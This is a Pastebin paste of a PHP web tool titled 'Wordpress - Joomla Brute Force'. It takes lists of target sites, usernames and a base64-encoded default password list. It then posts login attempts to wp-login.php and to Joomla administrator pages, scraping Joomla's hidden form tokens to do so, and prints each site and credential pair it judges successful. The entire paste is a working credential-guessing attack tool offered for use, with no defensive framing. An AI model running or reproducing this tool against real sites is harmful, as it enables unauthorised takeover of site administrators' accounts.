Advertisement
heroes1412

Untitled

Sep 10th, 2017
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.24 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. function curl($url, $post = "GET", $header = "", $cookie = "", $head = 0)
  5. {
  6.     set_time_limit(0);
  7.     $curl = ($url);
  8.     $ch = curl_init();
  9.     curl_setopt($ch, CURLOPT_URL, $url);
  10.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  11.     curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  12.     $agent = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0";
  13.     curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  14.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  15.  
  16.     curl_setopt($ch, CURLOPT_REFERER, $url.'/wp-admin/');
  17.     if (($post != "GET") or strlen($post >10)) {
  18.         curl_setopt($ch, CURLOPT_POST, 1);
  19.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  20.     }
  21.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22.     if ($head == 1)
  23.         curl_setopt($ch, CURLOPT_HEADER, 1);
  24.     if (is_array($header))
  25.         curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
  26.     curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
  27.     curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  28.     // if(strlen($cookie) > 5)  // get cookie from GetCookies();
  29.         // curl_setopt($ch, CURLOPT_COOKIE, $cookie);
  30.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1); //2
  31.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  32.     $result = curl_exec($ch);
  33.     curl_close($ch);
  34.     return $result;
  35. }
  36.  
  37. $error = "/do not match|clave no coinciden|not exist|no existe|lỗi|nicht übereinstimmen|Invalid|error|không đúng|không chính xác|An error has occurred|Internal Server Error/gi";
  38.  
  39. function login_wp($data){
  40.     global $error;
  41.     if(preg_match($error,$data)) return false; // 1.5
  42.     else return true;
  43. }
  44.  
  45. function login_joomla($data){
  46.     global $error;
  47.     if(preg_match($error,$data)) return false; // 1.5
  48.     else return true;
  49. }
  50.  
  51. function xflush(){
  52.     echo(str_repeat(' ',256));
  53.     // check that buffer is actually set before flushing
  54.     if (ob_get_length()){            
  55.         @ob_flush();
  56.         @flush();
  57.         @ob_end_flush();
  58.     }    
  59.     @ob_start();
  60. }  
  61.  
  62. function http_code($url){
  63.         $ch = curl_init($url);
  64.         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  65.         curl_setopt($ch,CURLOPT_TIMEOUT,10);
  66.         curl_setopt($ch,CURLOPT_NOBODY, true);
  67.         $agent = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0";
  68.         curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  69.         $output = curl_exec($ch);
  70.         $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  71.         curl_close($ch);
  72.         return $httpcode;
  73.    
  74. }
  75.  
  76. function echojs($data){
  77.     echo '<script type="text/javascript">alert(\''.$data.'\');</script>';
  78. }
  79.  
  80.  
  81. function write($file,$content){
  82.     if (!$handle = fopen($file, 'w+')) {
  83.          return false;
  84.          die('Cant open file'.$file);
  85.     }
  86.     if (fwrite($handle, $content) === FALSE) {
  87.         return false;
  88.          die('Cant write file'.$file);
  89.     }
  90.     else return true;
  91. }
  92.  
  93. $passDef = "MTIzcGFzcw0KcGFzczEyMw0KYWJjMTIzDQpxd2VydHkNCjAxMjM0NTYNCjAxMjM0NTY3DQowMTIzNDU2NzgNCjAxMjM0NTY3ODkNCjAxMjM0NTY3ODkwDQoxMjM0NTYNCmFkbWluDQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTExMTExDQowMDAwMDANCjEyMzEyMw0KNDU2NDU2DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluMTIzDQoxMjNhZG1pbg0KYWRtaW4xMjM0NTYNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KYWJjZGVmDQphYmNhYmMNCmlsb3ZleW91";
  94.  
  95.  
  96. ?>
  97. <html>
  98. <title>Wordpress + Joomla BF - heroes1412</title>
  99.     <style>
  100.         html, body, #wrap {
  101.         width: 100%;
  102.         margin: 5px;
  103.         padding: 5px;
  104.         background-color: silver;
  105.         }
  106.         #trai {
  107.         width: 400px;
  108.         float: left;
  109.         text-align: center;
  110.         }
  111.         #giua {
  112.         width: 190px;
  113.         float: left;
  114.         text-align: center;
  115.         }
  116.         #phai {
  117.         width: 153px;
  118.         float: left;
  119.         text-align: center;
  120.         }
  121.         #clear {
  122.             clear: both;
  123.             padding-left: 285px;
  124.         }
  125.         #button {
  126.             width: 150px;
  127.         }
  128.     </style>
  129.    
  130.     <h3>Wordpress - Joomla Brute Force</h3>
  131.     <form action="" method="POST">
  132.         <div id="trai">
  133.             List Site: <textarea name="site" rows="40" cols="47"><?php if(isset($_POST["site"])) echo $_POST["site"]; ?></textarea>
  134.         </div>
  135.         <div id="giua">
  136.             Username: <textarea name="username" rows="40" cols="20"><?php if(isset($_POST["username"])) echo $_POST["username"]; else echo "admin"; ?></textarea>
  137.         </div>
  138.         <div id="phai">
  139.             Password: <textarea name="password" rows="40" cols="20"><?php if(isset($_POST["password"])) echo $_POST["password"]; else echo base64_decode($passDef);?></textarea>
  140.         </div>
  141.         <div id="clear">
  142.             <br /><input id="button" type="submit" name="crack" value="Start"/>
  143.         </div>
  144.        
  145.     </form>
  146. </html>
  147. <?php
  148. if(isset($_POST["crack"])){
  149.     $cookie = tempnam('Cookie', 'Cookie-');
  150.    
  151.     $site = trim($_POST["site"]);
  152.     $username = trim($_POST["username"]);
  153.     $password = trim($_POST["password"]);
  154.    
  155.     $arrSite = array_unique(array_map("trim",explode("\n",$site)));
  156.     $arrUser = array_unique(array_map("trim",explode("\n",$username)));
  157.     $arrPass = array_unique(array_map("trim",explode("\n",$password)));
  158.    
  159.   //  ob_start(); // benchmark
  160.   //  $x = microtime(true); // benchmark
  161.  
  162.     foreach($arrSite as $site){
  163.         if(substr($site,-1) != "/") $site .= "/";
  164.        
  165.         if(http_code($site."wp-login.php") == "200" || http_code($site."wp-login.php") == "302"){ // wordpress
  166.             foreach($arrUser as $user){
  167.                foreach($arrPass as $pass){
  168.                 $post = "log=".$user."&pwd=".$pass."&wp-submit=Log+In&redirect_to=".urlencode($site)."wp-admin%2F&testcookie=1";
  169.                 $login = curl($site."wp-login.php",$post,"",$cookie,1);
  170.                 if(login_wp($login)) {
  171.                     echo $site . " - " . $user.":".$pass."<br>";
  172.                     xflush();
  173.                     break;
  174.                     }
  175.                 }
  176.             }
  177.         }
  178.        
  179.         elseif (http_code($site."administrator/") == "200" || http_code($site."administrator/") == "302" && stristr(curl($site."administrator/"),"joomla"))   { //joomla v1.5 v1.7 v2.x v3.x
  180.             //echojs("Start Joomla");
  181.             $getToken = curl($site."administrator/index.php","GET","",$cookie);
  182.             preg_match_all('/hidden" name="(.*)" value=/i',$getToken,$match1);
  183.             preg_match_all('/hidden" name="return" value="(.*)"\/>/i',$getToken,$match2);
  184.             preg_match_all('/hidden" name="(.*)" value="1" \/>/i',$getToken,$match3);
  185.             $token15x = trim($match1[1][2]);
  186.             $token17x1 = trim($match2[1][0]);
  187.             $token17x2 = trim($match3[1][0]);
  188.            
  189.             if(strlen($token15x) == 32){ // joomla 1.5
  190.                 foreach($arrUser as $user){
  191.                     foreach($arrPass as $pass){
  192.                         $post = "username=".$user."&passwd=".$pass."&lang=&option=com_login&task=login&".$token15x."=1";
  193.                         $login = curl($site."administrator/index.php",$post,"",$cookie,1);
  194.                         if(login_joomla($login)) {
  195.                         echo $site . " - " . $user.":".$pass."<br>";
  196.                         xflush();
  197.                         break;
  198.                         }
  199.                     }
  200.                 }
  201.             }
  202.            
  203.             elseif(strlen($token17x2) == 32){ //joomla 1.7 2.x 3.x
  204.                 foreach($arrUser as $user){
  205.                     foreach($arrPass as $pass){
  206.                         $post = "username=".$user."&passwd=".$pass."&lang=&option=com_login&task=login&return=".$token17x1."&".$token17x2."=1";
  207.                         $login = curl($site."administrator/index.php",$post,"",$cookie,1);
  208.                         if(login_joomla($login)) {
  209.                         echo $site . " - " . $user.":".$pass."<br>";
  210.                         xflush();
  211.                         break;
  212.                         }
  213.                     }
  214.                 }
  215.             }
  216.         }
  217.        
  218.     }
  219.    
  220. //    $temp = microtime(true) - $x; //end benchmark
  221. //    ob_end_clean(); //end benchmark
  222.  //   echo echojs("It costs: " . round($temp,2) . " seconds.");
  223. }
  224. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement